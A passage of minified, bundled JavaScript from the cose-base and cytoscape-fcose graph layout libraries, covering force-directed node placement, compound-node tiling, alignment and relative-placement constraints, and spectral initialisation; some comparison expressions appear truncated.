J=E.idToNodeMap.get(oe.nodeId);J.displacementX=0,J.displacementY=0}),this.constraints.alignmentConstraint){if(this.constraints.alignmentConstraint.vertical)for(var D=this.constraints.alignmentConstraint.vertical,_=0;_1){var F;for(F=0;FO&&(O=Math.floor(B.y)),P=Math.floor(B.x+m.DEFAULT_COMPONENT_SEPERATION)}this.transform(new b(v.WORLD_CENTER_X-B.x/2,v.WORLD_CENTER_Y-B.y/2))},I.radialLayout=function(E,D,_){var O=Math.max(this.maxDiagonalInTree(E),m.DEFAULT_RADIAL_SEPARATION);I.branchRadialLayout(D,null,0,359,0,O);var M=A.calculateBounds(E),P=new C;P.setDeviceOrgX(M.getMinX()),P.setDeviceOrgY(M.getMinY()),P.setWorldOrgX(_.x),P.setWorldOrgY(_.y);for(var B=0;B1;){var ee=re[0];re.splice(0,1);var Z=te.indexOf(ee);Z>=0&&te.splice(Z,1),J--,Y--}D!=null?ue=(te.indexOf(re[0])+1)%J:ue=0;for(var K=Math.abs(O-_)/Y,ae=ue;oe!=Y;ae=++ae%J){var Q=te[ae].getOtherEnd(E);if(Q!=D){var de=(_+oe*K)%360,ne=(de+K)%360;I.branchRadialLayout(Q,E,de,ne,M+P,P),oe++}}},I.maxDiagonalInTree=function(E){for(var D=w.MIN_VALUE,_=0;_D&&(D=M)}return D},I.prototype.calcRepulsionRange=function(){return 2*(this.level+1)*this.idealEdgeLength},I.prototype.groupZeroDegreeMembers=function(){var E=this,D={};this.memberGroups={},this.idToDummyNode={};for(var _=[],O=this.graphManager.getAllNodes(),M=0;M"u"&&(D[F]=[]),D[F]=D[F].concat(P)}Object.keys(D).forEach(function(G){if(D[G].length>1){var $="DummyCompound_"+G;E.memberGroups[$]=D[G];var U=D[G][0].getParent(),j=new d(E.graphManager);j.id=$,j.paddingLeft=U.paddingLeft||0,j.paddingRight=U.paddingRight||0,j.paddingBottom=U.paddingBottom||0,j.paddingTop=U.paddingTop||0,E.idToDummyNode[$]=j;var te=E.getGraphManager().add(E.newGraph(),j),Y=U.getChild();Y.add(j);for(var oe=0;oeM?(O.rect.x-=(O.labelWidth-M)/2,O.setWidth(O.labelWidth),O.labelMarginLeft=(O.labelWidth-M)/2):O.labelPosHorizontal=="right"&&O.setWidth(M+O.labelWidth)),O.labelHeight&&(O.labelPosVertical=="top"?(O.rect.y-=O.labelHeight,O.setHeight(P+O.labelHeight),O.labelMarginTop=O.labelHeight):O.labelPosVertical=="center"&&O.labelHeight>P?(O.rect.y-=(O.labelHeight-P)/2,O.setHeight(O.labelHeight),O.labelMarginTop=(O.labelHeight-P)/2):O.labelPosVertical=="bottom"&&O.setHeight(P+O.labelHeight))}})},I.prototype.repopulateCompounds=function(){for(var E=this.compoundOrder.length-1;E>=0;E--){var D=this.compoundOrder[E],_=D.id,O=D.paddingLeft,M=D.paddingTop,P=D.labelMarginLeft,B=D.labelMarginTop;this.adjustLocations(this.tiledMemberPack[_],D.rect.x,D.rect.y,O,M,P,B)}},I.prototype.repopulateZeroDegreeMembers=function(){var E=this,D=this.tiledZeroDegreePack;Object.keys(D).forEach(function(_){var O=E.idToDummyNode[_],M=O.paddingLeft,P=O.paddingTop,B=O.labelMarginLeft,F=O.labelMarginTop;E.adjustLocations(D[_],O.rect.x,O.rect.y,M,P,B,F)})},I.prototype.getToBeTiled=function(E){var D=E.id;if(this.toBeTiled[D]!=null)return this.toBeTiled[D];var _=E.getChild();if(_==null)return this.toBeTiled[D]=!1,!1;for(var O=_.getNodes(),M=0;M0)return this.toBeTiled[D]=!1,!1;if(P.getChild()==null){this.toBeTiled[P.id]=!1;continue}if(!this.getToBeTiled(P))return this.toBeTiled[D]=!1,!1}return this.toBeTiled[D]=!0,!0},I.prototype.getNodeDegree=function(E){for(var D=E.id,_=E.getEdges(),O=0,M=0;M<_.length;M++){var P=_[M];P.getSource().id!==P.getTarget().id&&(O=O+1)}return O},I.prototype.getNodeDegreeWithChildren=function(E){var D=this.getNodeDegree(E);if(E.getChild()==null)return D;for(var _=E.getChild().getNodes(),O=0;O<_.length;O++){var M=_[O];D+=this.getNodeDegreeWithChildren(M)}return D},I.prototype.performDFSOnCompounds=function(){this.compoundOrder=[],this.fillCompexOrderByDFS(this.graphManager.getRoot().getNodes())},I.prototype.fillCompexOrderByDFS=function(E){for(var D=0;DU&&(U=te.rect.height)}_+=U+E.verticalPadding}},I.prototype.tileCompoundMembers=function(E,D){var _=this;this.tiledMemberPack=[],Object.keys(E).forEach(function(O){var M=D[O];if(_.tiledMemberPack[O]=_.tileNodes(E[O],M.paddingLeft+M.paddingRight),M.rect.width=_.tiledMemberPack[O].width,M.rect.height=_.tiledMemberPack[O].height,M.setCenter(_.tiledMemberPack[O].centerX,_.tiledMemberPack[O].centerY),M.labelMarginLeft=0,M.labelMarginTop=0,m.NODE_DIMENSIONS_INCLUDE_LABELS){var P=M.rect.width,B=M.rect.height;M.labelWidth&&(M.labelPosHorizontal=="left"?(M.rect.x-=M.labelWidth,M.setWidth(P+M.labelWidth),M.labelMarginLeft=M.labelWidth):M.labelPosHorizontal=="center"&&M.labelWidth>P?(M.rect.x-=(M.labelWidth-P)/2,M.setWidth(M.labelWidth),M.labelMarginLeft=(M.labelWidth-P)/2):M.labelPosHorizontal=="right"&&M.setWidth(P+M.labelWidth)),M.labelHeight&&(M.labelPosVertical=="top"?(M.rect.y-=M.labelHeight,M.setHeight(B+M.labelHeight),M.labelMarginTop=M.labelHeight):M.labelPosVertical=="center"&&M.labelHeight>B?(M.rect.y-=(M.labelHeight-B)/2,M.setHeight(M.labelHeight),M.labelMarginTop=(M.labelHeight-B)/2):M.labelPosVertical=="bottom"&&M.setHeight(B+M.labelHeight))}})},I.prototype.tileNodes=function(E,D){var _=this.tileNodesByFavoringDim(E,D,!0),O=this.tileNodesByFavoringDim(E,D,!1),M=this.getOrgRatio(_),P=this.getOrgRatio(O),B;return PF&&(F=oe.getWidth())});var G=P/M,$=B/M,U=Math.pow(_-O,2)+4*(G+O)*($+_)*M,j=(O-_+Math.sqrt(U))/(2*(G+O)),te;D?(te=Math.ceil(j),te==j&&te++):te=Math.floor(j);var Y=te*(G+O)-O;return F>Y&&(Y=F),Y+=O*2,Y},I.prototype.tileNodesByFavoringDim=function(E,D,_){var O=m.TILING_PADDING_VERTICAL,M=m.TILING_PADDING_HORIZONTAL,P=m.TILING_COMPARE_BY,B={rows:[],rowWidth:[],rowHeight:[],width:0,height:D,verticalPadding:O,horizontalPadding:M,centerX:0,centerY:0};P&&(B.idealRowWidth=this.calcIdealRowWidth(E,_));var F=o(function(J){return J.rect.width*J.rect.height},"getNodeArea"),G=o(function(J,ue){return F(ue)-F(J)},"areaCompareFcn");E.sort(function(oe,J){var ue=G;return B.idealRowWidth?(ue=P,ue(oe.id,J.id)):ue(oe,J)});for(var $=0,U=0,j=0;j0&&(B+=E.horizontalPadding),E.rowWidth[_]=B,E.width0&&(F+=E.verticalPadding);var G=0;F>E.rowHeight[_]&&(G=E.rowHeight[_],E.rowHeight[_]=F,G=E.rowHeight[_]-G),E.height+=G,E.rows[_].push(D)},I.prototype.getShortestRowIndex=function(E){for(var D=-1,_=Number.MAX_VALUE,O=0;O_&&(D=O,_=E.rowWidth[O]);return D},I.prototype.canAddHorizontal=function(E,D,_){if(E.idealRowWidth){var O=E.rows.length-1,M=E.rowWidth[O];return M+D+E.horizontalPadding<=E.idealRowWidth}var P=this.getShortestRowIndex(E);if(P<0)return!0;var B=E.rowWidth[P];if(B+E.horizontalPadding+D<=E.width)return!0;var F=0;E.rowHeight[P]<_&&P>0&&(F=_+E.verticalPadding-E.rowHeight[P]);var G;E.width-B>=D+E.horizontalPadding?G=(E.height+F)/(B+D+E.horizontalPadding):G=(E.height+F)/E.width,F=_+E.verticalPadding;var $;return E.widthP&&D!=_){O.splice(-1,1),E.rows[_].push(M),E.rowWidth[D]=E.rowWidth[D]-P,E.rowWidth[_]=E.rowWidth[_]+P,E.width=E.rowWidth[instance.getLongestRowIndex(E)];for(var B=Number.MIN_VALUE,F=0;FB&&(B=O[F].height);D>0&&(B+=E.verticalPadding);var G=E.rowHeight[D]+E.rowHeight[_];E.rowHeight[D]=B,E.rowHeight[_]0)for(var Y=M;Y<=P;Y++)te[0]+=this.grid[Y][B-1].length+this.grid[Y][B].length-1;if(P0)for(var Y=B;Y<=F;Y++)te[3]+=this.grid[M-1][Y].length+this.grid[M][Y].length-1;for(var oe=w.MAX_VALUE,J,ue,re=0;re{var u=l(551).FDLayoutNode,h=l(551).IMath;function f(p,m,g,y){u.call(this,p,m,g,y)}o(f,"CoSENode"),f.prototype=Object.create(u.prototype);for(var d in u)f[d]=u[d];f.prototype.calculateDisplacement=function(){var p=this.graphManager.getLayout();this.getChild()!=null&&this.fixedNodeWeight?(this.displacementX+=p.coolingFactor*(this.springForceX+this.repulsionForceX+this.gravitationForceX)/this.fixedNodeWeight,this.displacementY+=p.coolingFactor*(this.springForceY+this.repulsionForceY+this.gravitationForceY)/this.fixedNodeWeight):(this.displacementX+=p.coolingFactor*(this.springForceX+this.repulsionForceX+this.gravitationForceX)/this.noOfChildren,this.displacementY+=p.coolingFactor*(this.springForceY+this.repulsionForceY+this.gravitationForceY)/this.noOfChildren),Math.abs(this.displacementX)>p.coolingFactor*p.maxNodeDisplacement&&(this.displacementX=p.coolingFactor*p.maxNodeDisplacement*h.sign(this.displacementX)),Math.abs(this.displacementY)>p.coolingFactor*p.maxNodeDisplacement&&(this.displacementY=p.coolingFactor*p.maxNodeDisplacement*h.sign(this.displacementY)),this.child&&this.child.getNodes().length>0&&this.propogateDisplacementToChildren(this.displacementX,this.displacementY)},f.prototype.propogateDisplacementToChildren=function(p,m){for(var g=this.getChild().getNodes(),y,v=0;v{function u(g){if(Array.isArray(g)){for(var y=0,v=Array(g.length);y0){var et=0;Oe.forEach(function(lt){he=="horizontal"?(ye.set(lt,x.has(lt)?b[x.get(lt)]:se.get(lt)),et+=ye.get(lt)):(ye.set(lt,x.has(lt)?T[x.get(lt)]:se.get(lt)),et+=ye.get(lt))}),et=et/Oe.length,We.forEach(function(lt){z.has(lt)||ye.set(lt,et)})}else{var Ue=0;We.forEach(function(lt){he=="horizontal"?Ue+=x.has(lt)?b[x.get(lt)]:se.get(lt):Ue+=x.has(lt)?T[x.get(lt)]:se.get(lt)}),Ue=Ue/We.length,We.forEach(function(lt){ye.set(lt,Ue)})}});for(var ze=o(function(){var Oe=_e.shift(),et=W.get(Oe);et.forEach(function(Ue){if(ye.get(Ue.id)lt&&(lt=yt),ftGt&&(Gt=ft)}}catch(Ct){Lt=!0,dt=Ct}finally{try{!vt&&nt.return&&nt.return()}finally{if(Lt)throw dt}}var Ur=(et+lt)/2-(Ue+Gt)/2,_t=!0,bn=!1,Br=void 0;try{for(var cr=We[Symbol.iterator](),ar;!(_t=(ar=cr.next()).done);_t=!0){var _r=ar.value;ye.set(_r,ye.get(_r)+Ur)}}catch(Ct){bn=!0,Br=Ct}finally{try{!_t&&cr.return&&cr.return()}finally{if(bn)throw Br}}})}return ye},"findAppropriatePositionForRelativePlacement"),L=o(function(W){var he=0,z=0,se=0,le=0;if(W.forEach(function(Re){Re.left?b[x.get(Re.left)]-b[x.get(Re.right)]>=0?he++:z++:T[x.get(Re.top)]-T[x.get(Re.bottom)]>=0?se++:le++}),he>z&&se>le)for(var ke=0;kez)for(var ve=0;vele)for(var ye=0;ye1)y.fixedNodeConstraint.forEach(function(xe,W){O[W]=[xe.position.x,xe.position.y],M[W]=[b[x.get(xe.nodeId)],T[x.get(xe.nodeId)]]}),P=!0;else if(y.alignmentConstraint)(function(){var xe=0;if(y.alignmentConstraint.vertical){for(var W=y.alignmentConstraint.vertical,he=o(function(ye){var Re=new Set;W[ye].forEach(function(Ke){Re.add(Ke)});var _e=new Set([].concat(u(Re)).filter(function(Ke){return F.has(Ke)})),ze=void 0;_e.size>0?ze=b[x.get(_e.values().next().value)]:ze=R(Re).x,W[ye].forEach(function(Ke){O[xe]=[ze,T[x.get(Ke)]],M[xe]=[b[x.get(Ke)],T[x.get(Ke)]],xe++})},"_loop2"),z=0;z0?ze=b[x.get(_e.values().next().value)]:ze=R(Re).y,se[ye].forEach(function(Ke){O[xe]=[b[x.get(Ke)],ze],M[xe]=[b[x.get(Ke)],T[x.get(Ke)]],xe++})},"_loop3"),ke=0;kej&&(j=U[Y].length,te=Y);if(j<$.size/2)L(y.relativePlacementConstraint),P=!1,B=!1;else{var oe=new Map,J=new Map,ue=[];U[te].forEach(function(xe){G.get(xe).forEach(function(W){W.direction=="horizontal"?(oe.has(xe)?oe.get(xe).push(W):oe.set(xe,[W]),oe.has(W.id)||oe.set(W.id,[]),ue.push({left:xe,right:W.id})):(J.has(xe)?J.get(xe).push(W):J.set(xe,[W]),J.has(W.id)||J.set(W.id,[]),ue.push({top:xe,bottom:W.id}))})}),L(ue),B=!1;var re=I(oe,"horizontal"),ee=I(J,"vertical");U[te].forEach(function(xe,W){M[W]=[b[x.get(xe)],T[x.get(xe)]],O[W]=[],re.has(xe)?O[W][0]=re.get(xe):O[W][0]=b[x.get(xe)],ee.has(xe)?O[W][1]=ee.get(xe):O[W][1]=T[x.get(xe)]}),P=!0}}if(P){for(var Z=void 0,K=d.transpose(O),ae=d.transpose(M),Q=0;Q0){var Be={x:0,y:0};y.fixedNodeConstraint.forEach(function(xe,W){var he={x:b[x.get(xe.nodeId)],y:T[x.get(xe.nodeId)]},z=xe.position,se=C(z,he);Be.x+=se.x,Be.y+=se.y}),Be.x/=y.fixedNodeConstraint.length,Be.y/=y.fixedNodeConstraint.length,b.forEach(function(xe,W){b[W]+=Be.x}),T.forEach(function(xe,W){T[W]+=Be.y}),y.fixedNodeConstraint.forEach(function(xe){b[x.get(xe.nodeId)]=xe.position.x,T[x.get(xe.nodeId)]=xe.position.y})}if(y.alignmentConstraint){if(y.alignmentConstraint.vertical)for(var Ye=y.alignmentConstraint.vertical,He=o(function(W){var he=new Set;Ye[W].forEach(function(le){he.add(le)});var z=new Set([].concat(u(he)).filter(function(le){return F.has(le)})),se=void 0;z.size>0?se=b[x.get(z.values().next().value)]:se=R(he).x,he.forEach(function(le){F.has(le)||(b[x.get(le)]=se)})},"_loop4"),Le=0;Le0?se=T[x.get(z.values().next().value)]:se=R(he).y,he.forEach(function(le){F.has(le)||(T[x.get(le)]=se)})},"_loop5"),Ce=0;Ce{a.exports=t})},r={};function n(a){var s=r[a];if(s!==void 0)return s.exports;var l=r[a]={exports:{}};return e[a](l,l.exports,n),l.exports}o(n,"__webpack_require__");var i=n(45);return i})()})});var R4e=Da((B4,Mz)=>{"use strict";o((function(e,r){typeof B4=="object"&&typeof Mz=="object"?Mz.exports=r(Nz()):typeof define=="function"&&define.amd?define(["cose-base"],r):typeof B4=="object"?B4.cytoscapeFcose=r(Nz()):e.cytoscapeFcose=r(e.coseBase)}),"webpackUniversalModuleDefinition")(B4,function(t){return(()=>{"use strict";var e={658:(a=>{a.exports=Object.assign!=null?Object.assign.bind(Object):function(s){for(var l=arguments.length,u=Array(l>1?l-1:0),h=1;h{var u=(function(){function d(p,m){var g=[],y=!0,v=!1,x=void 0;try{for(var b=p[Symbol.iterator](),T;!(y=(T=b.next()).done)&&(g.push(T.value),!(m&&g.length===m));y=!0);}catch(S){v=!0,x=S}finally{try{!y&&b.return&&b.return()}finally{if(v)throw x}}return g}return o(d,"sliceIterator"),function(p,m){if(Array.isArray(p))return p;if(Symbol.iterator in Object(p))return d(p,m);throw new TypeError("Invalid attempt to destructure non-iterable instance")}})(),h=l(140).layoutBase.LinkedList,f={};f.getTopMostNodes=function(d){for(var p={},m=0;m0&&P.merge($)});for(var B=0;B1){T=x[0],S=T.connectedEdges().length,x.forEach(function(M){M.connectedEdges().length0&&g.set("dummy"+(g.size+1),A),C},f.relocateComponent=function(d,p,m){if(!m.fixedNodeConstraint){var g=Number.POSITIVE_INFINITY,y=Number.NEGATIVE_INFINITY,v=Number.POSITIVE_INFINITY,x=Number.NEGATIVE_INFINITY;if(m.quality=="draft"){var b=!0,T=!1,S=void 0;try{for(var w=p.nodeIndexes[Symbol.iterator](),k;!(b=(k=w.next()).done);b=!0){var A=k.value,C=u(A,2),R=C[0],I=C[1],L=m.cy.getElementById(R);if(L){var E=L.boundingBox(),D=p.xCoords[I]-E.w/2,_=p.xCoords[I]+E.w/2,O=p.yCoords[I]-E.h/2,M=p.yCoords[I]+E.h/2;Dy&&(y=_),Ox&&(x=M)}}}catch($){T=!0,S=$}finally{try{!b&&w.return&&w.return()}finally{if(T)throw S}}var P=d.x-(y+g)/2,B=d.y-(x+v)/2;p.xCoords=p.xCoords.map(function($){return $+P}),p.yCoords=p.yCoords.map(function($){return $+B})}else{Object.keys(p).forEach(function($){var U=p[$],j=U.getRect().x,te=U.getRect().x+U.getRect().width,Y=U.getRect().y,oe=U.getRect().y+U.getRect().height;jy&&(y=te),Yx&&(x=oe)});var F=d.x-(y+g)/2,G=d.y-(x+v)/2;Object.keys(p).forEach(function($){var U=p[$];U.setCenter(U.getCenterX()+F,U.getCenterY()+G)})}}},f.calcBoundingBox=function(d,p,m,g){for(var y=Number.MAX_SAFE_INTEGER,v=Number.MIN_SAFE_INTEGER,x=Number.MAX_SAFE_INTEGER,b=Number.MIN_SAFE_INTEGER,T=void 0,S=void 0,w=void 0,k=void 0,A=d.descendants().not(":parent"),C=A.length,R=0;RT&&(y=T),vw&&(x=w),b{var u=l(548),h=l(140).CoSELayout,f=l(140).CoSENode,d=l(140).layoutBase.PointD,p=l(140).layoutBase.DimensionD,m=l(140).layoutBase.LayoutConstants,g=l(140).layoutBase.FDLayoutConstants,y=l(140).CoSEConstants,v=o(function(b,T){var S=b.cy,w=b.eles,k=w.nodes(),A=w.edges(),C=void 0,R=void 0,I=void 0,L={};b.randomize&&(C=T.nodeIndexes,R=T.xCoords,I=T.yCoords);var E=o(function($){return typeof $=="function"},"isFn"),D=o(function($,U){return E($)?$(U):$},"optFn"),_=u.calcParentsWithoutChildren(S,w),O=o(function G($,U,j,te){for(var Y=U.length,oe=0;oe0){var K=void 0;K=j.getGraphManager().add(j.newGraph(),re),G(K,ue,j,te)}}},"processChildrenList"),M=o(function($,U,j){for(var te=0,Y=0,oe=0;oe0?y.DEFAULT_EDGE_LENGTH=g.DEFAULT_EDGE_LENGTH=te/Y:E(b.idealEdgeLength)?y.DEFAULT_EDGE_LENGTH=g.DEFAULT_EDGE_LENGTH=50:y.DEFAULT_EDGE_LENGTH=g.DEFAULT_EDGE_LENGTH=b.idealEdgeLength,y.MIN_REPULSION_DIST=g.MIN_REPULSION_DIST=g.DEFAULT_EDGE_LENGTH/10,y.DEFAULT_RADIAL_SEPARATION=g.DEFAULT_EDGE_LENGTH)},"processEdges"),P=o(function($,U){U.fixedNodeConstraint&&($.constraints.fixedNodeConstraint=U.fixedNodeConstraint),U.alignmentConstraint&&($.constraints.alignmentConstraint=U.alignmentConstraint),U.relativePlacementConstraint&&($.constraints.relativePlacementConstraint=U.relativePlacementConstraint)},"processConstraints");b.nestingFactor!=null&&(y.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=g.PER_LEVEL_IDEAL_EDGE_LENGTH_FACTOR=b.nestingFactor),b.gravity!=null&&(y.DEFAULT_GRAVITY_STRENGTH=g.DEFAULT_GRAVITY_STRENGTH=b.gravity),b.numIter!=null&&(y.MAX_ITERATIONS=g.MAX_ITERATIONS=b.numIter),b.gravityRange!=null&&(y.DEFAULT_GRAVITY_RANGE_FACTOR=g.DEFAULT_GRAVITY_RANGE_FACTOR=b.gravityRange),b.gravityCompound!=null&&(y.DEFAULT_COMPOUND_GRAVITY_STRENGTH=g.DEFAULT_COMPOUND_GRAVITY_STRENGTH=b.gravityCompound),b.gravityRangeCompound!=null&&(y.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=g.DEFAULT_COMPOUND_GRAVITY_RANGE_FACTOR=b.gravityRangeCompound),b.initialEnergyOnIncremental!=null&&(y.DEFAULT_COOLING_FACTOR_INCREMENTAL=g.DEFAULT_COOLING_FACTOR_INCREMENTAL=b.initialEnergyOnIncremental),b.tilingCompareBy!=null&&(y.TILING_COMPARE_BY=b.tilingCompareBy),b.quality=="proof"?m.QUALITY=2:m.QUALITY=0,y.NODE_DIMENSIONS_INCLUDE_LABELS=g.NODE_DIMENSIONS_INCLUDE_LABELS=m.NODE_DIMENSIONS_INCLUDE_LABELS=b.nodeDimensionsIncludeLabels,y.DEFAULT_INCREMENTAL=g.DEFAULT_INCREMENTAL=m.DEFAULT_INCREMENTAL=!b.randomize,y.ANIMATE=g.ANIMATE=m.ANIMATE=b.animate,y.TILE=b.tile,y.TILING_PADDING_VERTICAL=typeof b.tilingPaddingVertical=="function"?b.tilingPaddingVertical.call():b.tilingPaddingVertical,y.TILING_PADDING_HORIZONTAL=typeof b.tilingPaddingHorizontal=="function"?b.tilingPaddingHorizontal.call():b.tilingPaddingHorizontal,y.DEFAULT_INCREMENTAL=g.DEFAULT_INCREMENTAL=m.DEFAULT_INCREMENTAL=!0,y.PURE_INCREMENTAL=!b.randomize,m.DEFAULT_UNIFORM_LEAF_NODE_SIZES=b.uniformNodeDimensions,b.step=="transformed"&&(y.TRANSFORM_ON_CONSTRAINT_HANDLING=!0,y.ENFORCE_CONSTRAINTS=!1,y.APPLY_LAYOUT=!1),b.step=="enforced"&&(y.TRANSFORM_ON_CONSTRAINT_HANDLING=!1,y.ENFORCE_CONSTRAINTS=!0,y.APPLY_LAYOUT=!1),b.step=="cose"&&(y.TRANSFORM_ON_CONSTRAINT_HANDLING=!1,y.ENFORCE_CONSTRAINTS=!1,y.APPLY_LAYOUT=!0),b.step=="all"&&(b.randomize?y.TRANSFORM_ON_CONSTRAINT_HANDLING=!0:y.TRANSFORM_ON_CONSTRAINT_HANDLING=!1,y.ENFORCE_CONSTRAINTS=!0,y.APPLY_LAYOUT=!0),b.fixedNodeConstraint||b.alignmentConstraint||b.relativePlacementConstraint?y.TREE_REDUCTION_ON_INCREMENTAL=!1:y.TREE_REDUCTION_ON_INCREMENTAL=!0;var B=new h,F=B.newGraphManager();return O(F.addRoot(),u.getTopMostNodes(k),B,b),M(B,F,A),P(B,b),B.runLayout(),L},"coseLayout");a.exports={coseLayout:v}}),212:((a,s,l)=>{var u=(function(){function b(T,S){for(var w=0;w0)if(M){var F=d.getTopMostNodes(w.eles.nodes());if(E=d.connectComponents(k,w.eles,F),E.forEach(function(Te){var q=Te.boundingBox();D.push({x:q.x1+q.w/2,y:q.y1+q.h/2})}),w.randomize&&E.forEach(function(Te){w.eles=Te,C.push(m(w))}),w.quality=="default"||w.quality=="proof"){var G=k.collection();if(w.tile){var $=new Map,U=[],j=[],te=0,Y={nodeIndexes:$,xCoords:U,yCoords:j},oe=[];if(E.forEach(function(Te,q){Te.edges().length==0&&(Te.nodes().forEach(function(Ve,pe){G.merge(Te.nodes()[pe]),Ve.isParent()||(Y.nodeIndexes.set(Te.nodes()[pe].id(),te++),Y.xCoords.push(Te.nodes()[0].position().x),Y.yCoords.push(Te.nodes()[0].position().y))}),oe.push(q))}),G.length>1){var J=G.boundingBox();D.push({x:J.x1+J.w/2,y:J.y1+J.h/2}),E.push(G),C.push(Y);for(var ue=oe.length-1;ue>=0;ue--)E.splice(oe[ue],1),C.splice(oe[ue],1),D.splice(oe[ue],1)}}E.forEach(function(Te,q){w.eles=Te,L.push(y(w,C[q])),d.relocateComponent(D[q],L[q],w)})}else E.forEach(function(Te,q){d.relocateComponent(D[q],C[q],w)});var re=new Set;if(E.length>1){var ee=[],Z=A.filter(function(Te){return Te.css("display")=="none"});E.forEach(function(Te,q){var Ve=void 0;if(w.quality=="draft"&&(Ve=C[q].nodeIndexes),Te.nodes().not(Z).length>0){var pe={};pe.edges=[],pe.nodes=[];var Be=void 0;Te.nodes().not(Z).forEach(function(Ye){if(w.quality=="draft")if(!Ye.isParent())Be=Ve.get(Ye.id()),pe.nodes.push({x:C[q].xCoords[Be]-Ye.boundingbox().w/2,y:C[q].yCoords[Be]-Ye.boundingbox().h/2,width:Ye.boundingbox().w,height:Ye.boundingbox().h});else{var He=d.calcBoundingBox(Ye,C[q].xCoords,C[q].yCoords,Ve);pe.nodes.push({x:He.topLeftX,y:He.topLeftY,width:He.width,height:He.height})}else L[q][Ye.id()]&&pe.nodes.push({x:L[q][Ye.id()].getLeft(),y:L[q][Ye.id()].getTop(),width:L[q][Ye.id()].getWidth(),height:L[q][Ye.id()].getHeight()})}),Te.edges().forEach(function(Ye){var He=Ye.source(),Le=Ye.target();if(He.css("display")!="none"&&Le.css("display")!="none")if(w.quality=="draft"){var Ie=Ve.get(He.id()),Ne=Ve.get(Le.id()),Ce=[],Fe=[];if(He.isParent()){var fe=d.calcBoundingBox(He,C[q].xCoords,C[q].yCoords,Ve);Ce.push(fe.topLeftX+fe.width/2),Ce.push(fe.topLeftY+fe.height/2)}else Ce.push(C[q].xCoords[Ie]),Ce.push(C[q].yCoords[Ie]);if(Le.isParent()){var xe=d.calcBoundingBox(Le,C[q].xCoords,C[q].yCoords,Ve);Fe.push(xe.topLeftX+xe.width/2),Fe.push(xe.topLeftY+xe.height/2)}else Fe.push(C[q].xCoords[Ne]),Fe.push(C[q].yCoords[Ne]);pe.edges.push({startX:Ce[0],startY:Ce[1],endX:Fe[0],endY:Fe[1]})}else L[q][He.id()]&&L[q][Le.id()]&&pe.edges.push({startX:L[q][He.id()].getCenterX(),startY:L[q][He.id()].getCenterY(),endX:L[q][Le.id()].getCenterX(),endY:L[q][Le.id()].getCenterY()})}),pe.nodes.length>0&&(ee.push(pe),re.add(q))}});var K=O.packComponents(ee,w.randomize).shifts;if(w.quality=="draft")C.forEach(function(Te,q){var Ve=Te.xCoords.map(function(Be){return Be+K[q].dx}),pe=Te.yCoords.map(function(Be){return Be+K[q].dy});Te.xCoords=Ve,Te.yCoords=pe});else{var ae=0;re.forEach(function(Te){Object.keys(L[Te]).forEach(function(q){var Ve=L[Te][q];Ve.setCenter(Ve.getCenterX()+K[ae].dx,Ve.getCenterY()+K[ae].dy)}),ae++})}}}else{var P=w.eles.boundingBox();if(D.push({x:P.x1+P.w/2,y:P.y1+P.h/2}),w.randomize){var B=m(w);C.push(B)}w.quality=="default"||w.quality=="proof"?(L.push(y(w,C[0])),d.relocateComponent(D[0],L[0],w)):d.relocateComponent(D[0],C[0],w)}var Q=o(function(q,Ve){if(w.quality=="default"||w.quality=="proof"){typeof q=="number"&&(q=Ve);var pe=void 0,Be=void 0,Ye=q.data("id");return L.forEach(function(Le){Ye in Le&&(pe={x:Le[Ye].getRect().getCenterX(),y:Le[Ye].getRect().getCenterY()},Be=Le[Ye])}),w.nodeDimensionsIncludeLabels&&(Be.labelWidth&&(Be.labelPosHorizontal=="left"?pe.x+=Be.labelWidth/2:Be.labelPosHorizontal=="right"&&(pe.x-=Be.labelWidth/2)),Be.labelHeight&&(Be.labelPosVertical=="top"?pe.y+=Be.labelHeight/2:Be.labelPosVertical=="bottom"&&(pe.y-=Be.labelHeight/2))),pe==null&&(pe={x:q.position("x"),y:q.position("y")}),{x:pe.x,y:pe.y}}else{var He=void 0;return C.forEach(function(Le){var Ie=Le.nodeIndexes.get(q.id());Ie!=null&&(He={x:Le.xCoords[Ie],y:Le.yCoords[Ie]})}),He==null&&(He={x:q.position("x"),y:q.position("y")}),{x:He.x,y:He.y}}},"getPositions");if(w.quality=="default"||w.quality=="proof"||w.randomize){var de=d.calcParentsWithoutChildren(k,A),ne=A.filter(function(Te){return Te.css("display")=="none"});w.eles=A.not(ne),A.nodes().not(":parent").not(ne).layoutPositions(S,w,Q),de.length>0&&de.forEach(function(Te){Te.position(Q(Te))})}else console.log("If randomize option is set to false, then quality option must be 'default' or 'proof'.")},"run")}]),b})();a.exports=x}),657:((a,s,l)=>{var u=l(548),h=l(140).layoutBase.Matrix,f=l(140).layoutBase.SVD,d=o(function(m){var g=m.cy,y=m.eles,v=y.nodes(),x=y.nodes(":parent"),b=new Map,T=new Map,S=new Map,w=[],k=[],A=[],C=[],R=[],I=[],L=[],E=[],D=void 0,_=void 0,O=1e8,M=1e-9,P=m.piTol,B=m.samplingType,F=m.nodeSeparation,G=void 0,$=o(function(){for(var he=0,z=0,se=!1;z=ke;){ye=le[ke++];for(var We=w[ye],Oe=0;Oeze&&(ze=R[Ue],Ke=Ue)}return Ke},"BFS"),j=o(function(he){var z=void 0;if(he){z=Math.floor(Math.random()*_),D=z;for(var le=0;le<_;le++)R[le]=O;for(var ke=0;ke=1)break;ze=_e}for(var We=0;We<_;We++)ke[We]=se[We];for(Re=0,ze=M;;){Re++;for(var Oe=0;Oe<_;Oe++)ve[Oe]=le[Oe];if(ve=h.minusOp(ve,h.multCons(ke,h.dotProduct(ke,ve))),le=h.multGamma(h.multL(h.multGamma(ve),I,E)),z=h.dotProduct(ve,le),le=h.normalize(le),_e=h.dotProduct(ve,le),Ke=Math.abs(_e/ze),Ke<=1+P&&Ke>=1)break;ze=_e}for(var et=0;et<_;et++)ve[et]=le[et];k=h.multCons(ke,Math.sqrt(Math.abs(he))),A=h.multCons(ve,Math.sqrt(Math.abs(z)))},"powerIteration");u.connectComponents(g,y,u.getTopMostNodes(v),b),x.forEach(function(W){u.connectComponents(g,y,u.getTopMostNodes(W.descendants().intersection(y)),b)});for(var oe=0,J=0;J0&&(z.isParent()?w[he].push(S.get(z.id())):w[he].push(z.id()))})});var de=o(function(he){var z=T.get(he),se=void 0;b.get(he).forEach(function(le){g.getElementById(le).isParent()?se=S.get(le):se=le,w[z].push(se),w[T.get(se)].push(he)})},"_loop"),ne=!0,Te=!1,q=void 0;try{for(var Ve=b.keys()[Symbol.iterator](),pe;!(ne=(pe=Ve.next()).done);ne=!0){var 